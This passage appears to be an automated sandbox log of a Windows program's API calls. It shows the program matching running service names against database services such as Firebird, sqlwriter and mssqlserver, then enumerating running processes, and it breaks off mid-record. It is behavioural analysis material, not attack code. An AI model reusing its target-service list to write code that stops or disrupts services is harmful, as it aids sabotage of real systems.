lpString2="lmhosts") returned -1 [0276.787] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0276.787] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0276.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0276.787] lstrlenW (lpString="LSM") returned 3 [0276.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0276.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0276.787] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0276.787] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0276.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0276.787] lstrlenW (lpString="MpsSvc") returned 6 [0276.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0276.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0276.787] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0276.787] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0276.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0276.787] lstrlenW (lpString="NcbService") returned 10 [0276.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0276.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0276.787] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0276.787] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0276.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0276.787] lstrlenW (lpString="netprofm") returned 8 [0276.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0276.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0276.787] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0276.787] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0276.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0276.787] lstrlenW (lpString="NgcSvc") returned 6 [0276.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0276.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0276.787] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0276.787] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0276.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0276.788] lstrlenW (lpString="NlaSvc") returned 6 [0276.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0276.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0276.788] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0276.788] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0276.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0276.788] lstrlenW (lpString="nsi") returned 3 [0276.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0276.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0276.788] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0276.788] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0276.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0276.788] lstrlenW (lpString="PcaSvc") returned 6 [0276.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0276.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0276.788] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0276.788] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0276.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0276.788] lstrlenW (lpString="PlugPlay") returned 8 [0276.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0276.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0276.788] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0276.788] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0276.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0276.788] lstrlenW (lpString="Power") returned 5 [0276.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0276.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0276.788] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0276.788] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0276.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0276.788] lstrlenW (lpString="ProfSvc") returned 7 [0276.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0276.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0276.789] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0276.789] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0276.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0276.789] lstrlenW (lpString="RpcEptMapper") returned 12 [0276.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.789] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0276.789] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0276.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0276.789] lstrlenW (lpString="RpcSs") returned 5 [0276.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0276.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0276.789] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0276.789] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0276.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0276.789] lstrlenW (lpString="SamSs") returned 5 [0276.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0276.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0276.789] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0276.789] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0276.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0276.789] lstrlenW (lpString="Schedule") returned 8 [0276.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0276.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0276.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0276.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0276.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0276.789] lstrlenW (lpString="SecurityHealthService") returned 21 [0276.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.789] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0276.789] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0276.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0276.790] lstrlenW (lpString="SENS") returned 4 [0276.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0276.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0276.790] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0276.790] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0276.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0276.790] lstrlenW (lpString="ShellHWDetection") returned 16 [0276.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.790] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0276.790] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0276.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0276.790] lstrlenW (lpString="Spooler") returned 7 [0276.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0276.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0276.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0276.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0276.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0276.790] lstrlenW (lpString="SSDPSRV") returned 7 [0276.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0276.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0276.790] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0276.790] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0276.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0276.790] lstrlenW (lpString="StateRepository") returned 15 [0276.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0276.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0276.790] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0276.790] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0276.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0276.790] lstrlenW (lpString="SysMain") returned 7 [0276.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0276.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0276.791] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0276.791] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0276.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0276.791] lstrlenW (lpString="SystemEventsBroker") returned 18 [0276.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.791] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0276.791] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0276.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42d3ff0 | out: hHeap=0x670000) returned 1 [0276.791] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b0 [0276.885] Process32FirstW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.886] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.886] lstrlenW (lpString="System") returned 6 [0276.886] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.887] lstrlenW (lpString="smss.exe") returned 8 [0276.887] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.887] lstrlenW (lpString="csrss.exe") returned 9 [0276.887] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.888] lstrlenW (lpString="wininit.exe") returned 11 [0276.888] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.888] lstrlenW (lpString="csrss.exe") returned 9 [0276.888] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.889] lstrlenW (lpString="winlogon.exe") returned 12 [0276.889] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.889] lstrlenW (lpString="services.exe") returned 12 [0276.889] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.890] lstrlenW (lpString="lsass.exe") returned 9 [0276.890] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.891] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.891] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.891] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.891] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.892] lstrlenW (lpString="svchost.exe") returned 11 [0276.892] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.892] lstrlenW (lpString="svchost.exe") returned 11 [0276.892] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.893] lstrlenW (lpString="dwm.exe") returned 7 [0276.893] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.893] lstrlenW (lpString="svchost.exe") returned 11 [0276.893] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.894] lstrlenW (lpString="svchost.exe") returned 11 [0276.894] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.894] lstrlenW (lpString="svchost.exe") returned 11 [0276.894] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.895] lstrlenW (lpString="svchost.exe") returned 11 [0276.895] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.895] lstrlenW (lpString="svchost.exe") returned 11 [0276.895] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.896] lstrlenW (lpString="svchost.exe") returned 11 [0276.896] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.896] lstrlenW (lpString="svchost.exe") returned 11 [0276.897] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.897] lstrlenW (lpString="svchost.exe") returned 11 [0276.897] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.898] lstrlenW (lpString="svchost.exe") returned 11 [0276.898] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.898] lstrlenW (lpString="svchost.exe") returned 11 [0276.899] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.899] lstrlenW (lpString="spoolsv.exe") returned 11 [0276.899] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.900] lstrlenW (lpString="svchost.exe") returned 11 [0276.900] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.900] lstrlenW (lpString="audiodg.exe") returned 11 [0276.900] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0276.901] lstrlenW (lpString="sihost.exe") returned 10 [0276.901] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.901] lstrlenW (lpString="svchost.exe") returned 11 [0276.901] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0276.902] lstrlenW (lpString="taskhostw.exe") returned 13 [0276.902] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0276.902] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0276.902] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0276.903] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0276.903] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0276.903] lstrlenW (lpString="Memory Compression") returned 18 [0276.903] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.904] lstrlenW (lpString="explorer.exe") returned 12 [0276.904] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0276.905] lstrlenW (lpString="SearchUI.exe") returned 12 [0276.905] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0276.905] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0276.905] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0276.906] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0276.906] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.907] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0276.907] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0276.907] lstrlenW (lpString="finbbp.exe") returned 10 [0276.907] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.908] lstrlenW (lpString="svchost.exe") returned 11 [0276.908] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.908] lstrlenW (lpString="dllhost.exe") returned 11 [0276.908] Process32NextW (in: hSnapshot=0x4b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, 